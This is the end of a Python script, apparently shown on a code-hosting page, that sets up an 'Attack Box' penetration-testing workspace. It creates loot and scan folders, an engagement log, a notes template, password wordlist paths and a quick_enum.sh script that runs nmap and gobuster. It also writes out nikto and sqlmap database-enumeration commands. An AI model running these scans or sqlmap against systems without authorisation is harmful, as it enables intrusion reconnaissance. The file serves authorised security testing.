for dir_name, description in main_dirs.items():
|
||||
dir_path = os.path.join(base_dir, dir_name)
|
||||
Path(dir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Create README files for documentation
|
||||
readme_path = os.path.join(dir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {dir_name.upper()}\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
|
||||
# Create scan subdirectories
|
||||
scans_dir = os.path.join(base_dir, "scans")
|
||||
for subdir, description in scan_subdirs.items():
|
||||
subdir_path = os.path.join(scans_dir, subdir)
|
||||
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
readme_path = os.path.join(subdir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {subdir.upper()} SCANS\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
|
||||
# Create loot subdirectories
|
||||
loot_dir = os.path.join(base_dir, "loot")
|
||||
for subdir, description in loot_subdirs.items():
|
||||
subdir_path = os.path.join(loot_dir, subdir)
|
||||
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
readme_path = os.path.join(subdir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {subdir.upper()}\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
|
||||
# Create engagement log
|
||||
engagement_log = os.path.join(base_dir, "logs", "engagement.log")
|
||||
with open(engagement_log, 'w') as f:
|
||||
f.write(f"Attack Box Engagement Log\n")
|
||||
f.write(f"=========================\n")
|
||||
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
f.write(f"Operator: {operator}\n")
|
||||
f.write(f"Tool: Attack Box Manual Testing Interface\n\n")
|
||||
|
||||
# Create initial target file
|
||||
target_template = os.path.join(base_dir, "targets", "targets.txt")
|
||||
if not os.path.exists(target_template):
|
||||
with open(target_template, 'w') as f:
|
||||
f.write("# Target List\n")
|
||||
f.write("# Add IPs, ranges, or hostnames (one per line)\n")
|
||||
f.write("# Examples:\n")
|
||||
f.write("# 192.168.1.1\n")
|
||||
f.write("# 192.168.1.0/24\n")
|
||||
f.write("# 192.168.1.1-50\n")
|
||||
f.write("# target.domain.com\n\n")
|
||||
|
||||
# Create manual commands file
|
||||
manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt")
|
||||
with open(manual_commands, 'w') as f:
|
||||
f.write("# Manual Commands for Further Enumeration\n")
|
||||
f.write("# ======================================\n")
|
||||
f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
|
||||
f.write("# Example commands:\n")
|
||||
f.write("# nmap -sS -T4 --top-ports 1000 <target>\n")
|
||||
f.write("# gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt\n")
|
||||
f.write("# nikto -h http://<target>\n")
|
||||
f.write("# sqlmap -u http://<target>?id=1 --dbs\n\n")
|
||||
|
||||
# Create notes template
|
||||
notes_template = os.path.join(base_dir, "notes", "engagement_notes.md")
|
||||
with open(notes_template, 'w') as f:
|
||||
f.write(f"# Engagement Notes\n\n")
|
||||
f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n")
|
||||
f.write(f"**Operator:** {operator}\n")
|
||||
f.write(f"**Engagement:** TBD\n\n")
|
||||
f.write(f"## Scope\n")
|
||||
f.write(f"- [ ] Define target scope\n")
|
||||
f.write(f"- [ ] Identify key assets\n")
|
||||
f.write(f"- [ ] Document rules of engagement\n\n")
|
||||
f.write(f"## Methodology\n")
|
||||
f.write(f"1. **Reconnaissance**\n")
|
||||
f.write(f" - Passive information gathering\n")
|
||||
f.write(f" - DNS enumeration\n")
|
||||
f.write(f" - OSINT collection\n\n")
|
||||
f.write(f"2. **Scanning & Enumeration**\n")
|
||||
f.write(f" - Network discovery\n")
|
||||
f.write(f" - Port scanning\n")
|
||||
f.write(f" - Service enumeration\n\n")
|
||||
f.write(f"3. **Vulnerability Assessment**\n")
|
||||
f.write(f" - Automated scanning\n")
|
||||
f.write(f" - Manual testing\n")
|
||||
f.write(f" - Vulnerability validation\n\n")
|
||||
f.write(f"4. **Exploitation**\n")
|
||||
f.write(f" - Proof of concept development\n")
|
||||
f.write(f" - Privilege escalation\n")
|
||||
f.write(f" - Lateral movement\n\n")
|
||||
f.write(f"## Key Findings\n")
|
||||
f.write(f"*Document critical findings here*\n\n")
|
||||
f.write(f"## Timeline\n")
|
||||
f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n")
|
||||
|
||||
# Create wordlist directory with common lists
|
||||
wordlist_dir = os.path.join(base_dir, "wordlists")
|
||||
common_wordlists = os.path.join(wordlist_dir, "common_lists.txt")
|
||||
with open(common_wordlists, 'w') as f:
|
||||
f.write("# Common Wordlist Locations\n")
|
||||
f.write("# =========================\n")
|
||||
f.write("# Directory enumeration:\n")
|
||||
f.write("/usr/share/wordlists/dirb/common.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n")
|
||||
f.write("# File enumeration:\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n")
|
||||
f.write("# Subdomain enumeration:\n")
|
||||
f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n")
|
||||
f.write("# Password attacks:\n")
|
||||
f.write("/usr/share/wordlists/rockyou.txt\n")
|
||||
f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n")
|
||||
|
||||
# Create scripts directory with useful scripts
|
||||
scripts_dir = os.path.join(base_dir, "tools", "scripts")
|
||||
Path(scripts_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh")
|
||||
with open(quick_enum_script, 'w') as f:
|
||||
f.write("#!/bin/bash\n")
|
||||
f.write("# Quick enumeration script\n")
|
||||
f.write("# Usage: ./quick_enum.sh <target_ip>\n\n")
|
||||
f.write("if [ $# -eq 0 ]; then\n")
|
||||
f.write(' echo "Usage: $0 <target_ip>"\n')
|
||||
f.write(" exit 1\n")
|
||||
f.write("fi\n\n")
|
||||
f.write("TARGET=$1\n")
|
||||
f.write("DATE=$(date +%Y%m%d_%H%M%S)\n")
|
||||
f.write("SCAN_DIR=\"../../scans\"\n\n")
|
||||
f.write("echo \"[+] Quick enumeration of $TARGET\"\n")
|
||||
f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n")
|
||||
f.write("# Quick nmap scan\n")
|
||||
f.write("echo \"[+] Running quick nmap scan...\"\n")
|
||||
f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n")
|
||||
f.write("# Check for web services\n")
|
||||
f.write("echo \"[+] Checking for web services...\"\n")
|
||||
f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n")
|
||||
f.write(" echo \"[+] Web services found, running quick web enum...\"\n")
|
||||
f.write(" gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n")
|
||||
f.write("fi\n\n")
|
||||
f.write("echo \"[+] Quick enumeration complete\"\n")
|
||||
|
||||
os.chmod(quick_enum_script, 0o755)
|
||||
|
||||
print(f"[+] Penetration testing structure created successfully")
|
||||
print(f"[*] Add targets to: {target_template}")
|
||||
print(f"[*] Engagement log: {engagement_log}")
|
||||
print(f"[*] Quick enum script: {quick_enum_script}")
|
||||
|
||||
return base_dir
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
import getpass
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
workspace_name = sys.argv[1]
|
||||
else:
|
||||
workspace_name = f"/root/operator"
|
||||
|
||||
operator = getpass.getuser()
|
||||
create_workspace_structure(workspace_name, operator)
|
||||
Reference in New Issue
Block a user